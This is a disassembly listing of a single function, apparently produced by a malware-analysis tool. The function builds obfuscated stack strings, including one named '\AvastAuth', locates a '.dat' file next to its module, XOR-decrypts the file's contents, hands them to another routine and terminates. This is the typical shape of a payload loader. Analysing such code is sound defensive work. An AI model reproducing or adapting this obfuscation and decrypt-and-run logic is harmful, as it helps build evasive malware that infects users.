Function at 0x10001726
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push edi
mov word [ebp - 0x1c], 0xe92a
mov byte [ebp - 0x190], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x18f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ax, word [ebp - 0x1c]
imul ax, ax, 0x6cf6
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x8c], 0
mov cx, word [ebp - 0x1c]
imul cx, cx, 0x8ab4
mov word [ebp - 0x1c], cx
mov dx, word [ebp - 0x1c]
or dx, 0x7203
mov word [ebp - 0x1c], dx
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0x3dc3
idiv ecx
mov word [ebp - 0x1c], ax
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x6b
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
sar cx, 5
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x65
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
xor cx, 0x765b
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x72
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
add cx, 0x73ee
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x6e
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
imul cx, cx, 0xaaf5
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x65
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0x27df
idiv ecx
mov word [ebp - 0x1c], ax
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x6c
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0xa8c0
idiv ecx
mov word [ebp - 0x1c], ax
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x33
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
and cx, 0x58f5
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x32
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
imul cx, cx, 0xfa15
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
or cx, 0xe36c
mov word [ebp - 0x1c], cx
mov dx, word [ebp - 0x1c]
sub dx, 0xdb3a
mov word [ebp - 0x1c], dx
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0xdd62
idiv ecx
mov word [ebp - 0x1c], ax
mov byte [ebp - 0x84], 0x47
mov byte [ebp - 0x83], 0x65
mov byte [ebp - 0x82], 0x74
mov byte [ebp - 0x81], 0x4d
mov byte [ebp - 0x80], 0x6f
mov byte [ebp - 0x7f], 0x64
mov byte [ebp - 0x7e], 0x75
mov byte [ebp - 0x7d], 0x6c
mov byte [ebp - 0x7c], 0x65
mov byte [ebp - 0x7b], 0x46
mov byte [ebp - 0x7a], 0x69
mov byte [ebp - 0x79], 0x6c
mov byte [ebp - 0x78], 0x65
mov byte [ebp - 0x77], 0x4e
mov byte [ebp - 0x76], 0x61
mov byte [ebp - 0x75], 0x6d
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x41
mov byte [ebp - 0x72], 0
mov dx, word [ebp - 0x1c]
sub dx, 0x795a
mov word [ebp - 0x1c], dx
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x198], eax
mov dx, word [ebp - 0x1c]
imul dx, dx, 0x1d70
mov word [ebp - 0x1c], dx
mov ax, word [ebp - 0x1c]
add ax, 0x77c2
mov word [ebp - 0x1c], ax
push 0x104
lea ecx, [ebp - 0x190]
push ecx
push 0
call dword [ebp - 0x198]
mov dx, word [ebp - 0x1c]
sub dx, 0x9d84
mov word [ebp - 0x1c], dx
mov ax, word [ebp - 0x1c]
add ax, 0xf75d
mov word [ebp - 0x1c], ax
push 0x5c
lea ecx, [ebp - 0x190]
push ecx
call fcn.10002370
add esp, 8
mov dword [ebp - 4], eax
mov dx, word [ebp - 0x1c]
imul dx, dx, 0x9606
mov word [ebp - 0x1c], dx
cmp dword [ebp - 4], 0
je 0x10001a14
mov eax, dword [ebp - 4]
mov byte [eax], 0
mov cx, word [ebp - 0x1c]
imul cx, cx, 0x9c73
mov word [ebp - 0x1c], cx
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], 0x41
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], 0x75
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0
mov dx, word [ebp - 0x1c]
or dx, 0x6d2c
mov word [ebp - 0x1c], dx
mov byte [ebp - 0xc], 0
xor eax, eax
mov dword [ebp - 0xb], eax
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0x4ea0
idiv ecx
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x8c], 0
mov dx, word [ebp - 0x1c]
imul dx, dx, 0xd695
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0xc], 0x2e
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov dx, word [ebp - 0x1c]
sub dx, 0xaf10
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0xc], 0x64
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov dx, word [ebp - 0x1c]
imul dx, dx, 0xbf2f
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0xc], 0x61
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov dx, word [ebp - 0x1c]
or dx, 0x8102
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0xc], 0x74
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0xe145
idiv ecx
mov word [ebp - 0x1c], ax
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0xc], 0
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
add cx, 0x807c
mov word [ebp - 0x1c], cx
mov byte [ebp - 0x5c], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x5b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dx, word [ebp - 0x1c]
add dx, 0x1ce9
mov word [ebp - 0x1c], dx
lea eax, [ebp - 0x18]
push eax
call fcn.100022f0
add esp, 4
mov dword [ebp - 0x194], eax
mov cx, word [ebp - 0x1c]
add cx, 0x634d
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x194]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.100021f0
add esp, 0xc
mov dx, word [ebp - 0x1c]
imul dx, dx, 0xf081
mov word [ebp - 0x1c], dx
push 4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.100020c0
add esp, 0xc
mov dx, word [ebp - 0x1c]
sar dx, 1
mov word [ebp - 0x1c], dx
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x190]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dx, word [ebp - 0x1c]
imul dx, dx, 0xadb5
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x70], 0
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0xd8a9
idiv ecx
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x1a4], 0
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0x467b
idiv ecx
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x1a0], 0
mov dx, word [ebp - 0x1c]
or dx, 0x800d
mov word [ebp - 0x1c], dx
mov ax, word [ebp - 0x1c]
and ax, 0xce77
mov word [ebp - 0x1c], ax
lea ecx, [ebp - 0x1a0]
push ecx
lea edx, [ebp - 0x1a4]
push edx
lea eax, [ebp - 0x190]
push eax
call fcn.100011ba
add esp, 0xc
mov cx, word [ebp - 0x1c]
imul cx, cx, 0x9e28
mov word [ebp - 0x1c], cx
mov dx, word [ebp - 0x1c]
imul dx, dx, 0xca3
mov word [ebp - 0x1c], dx
cmp dword [ebp - 0x1a0], 0
ja 0x10001c7c
push 0
call fcn.10001fb3
mov ecx, dword [ebp - 0x1a4]
mov dword [ebp - 0x19c], ecx
mov dx, word [ebp - 0x1c]
and dx, 0xb915
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x19c]
push eax
call fcn.100022f0
add esp, 4
mov dword [ebp - 0x6c], eax
mov cx, word [ebp - 0x1c]
imul cx, cx, 0xa63c
mov word [ebp - 0x1c], cx
mov dx, word [ebp - 0x1c]
and dx, 0x4333
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x1a0]
sub eax, dword [ebp - 0x6c]
sub eax, 1
mov dword [ebp - 0x1a0], eax
mov cx, word [ebp - 0x1c]
imul cx, cx, 0x361c
mov word [ebp - 0x1c], cx
mov dx, word [ebp - 0x1c]
sub dx, 0x3bf9
mov word [ebp - 0x1c], dx
mov ax, word [ebp - 0x1c]
sar ax, 1
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x1a4]
lea eax, [edx + ecx + 1]
mov dword [ebp - 0x1a4], eax
mov cx, word [ebp - 0x1c]
sub cx, 0xc0a5
mov word [ebp - 0x1c], cx
mov dx, word [ebp - 0x1c]
add dx, 0x39ed
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x1a0]
add eax, 1
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x70], eax
mov cx, word [ebp - 0x1c]
imul cx, cx, 0x818f
mov word [ebp - 0x1c], cx
mov dx, word [ebp - 0x1c]
and dx, 0x67e0
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x88], 0
jmp 0x10001d6f
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x88]
cmp ecx, dword [ebp - 0x1a0]
jae 0x10001de4
mov edx, dword [ebp - 0x70]
add edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x1a4]
add eax, dword [ebp - 0x88]
mov cl, byte [eax]
mov byte [edx], cl
mov dx, word [ebp - 0x1c]
add dx, 0x413d
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x88]
xor ecx, ecx
mov cl, byte [eax]
mov eax, dword [ebp - 0x88]
xor edx, edx
div dword [ebp - 0x6c]
mov eax, dword [ebp - 0x19c]
movsx edx, byte [eax + edx]
xor ecx, edx
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x88]
mov byte [eax], cl
mov cx, word [ebp - 0x1c]
or cx, 0x4fdf
mov word [ebp - 0x1c], cx
jmp 0x10001d60
mov edx, dword [ebp - 0x1a0]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.100012fe
add esp, 8
mov cx, word [ebp - 0x1c]
sub cx, 0xe7c9
mov word [ebp - 0x1c], cx
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0x28ca
idiv ecx
mov word [ebp - 0x1c], ax
mov dx, word [ebp - 0x1c]
sub dx, 0x867b
mov word [ebp - 0x1c], dx
push 0
call fcn.10001fb3
pop edi
mov esp, ebp
pop ebp
ret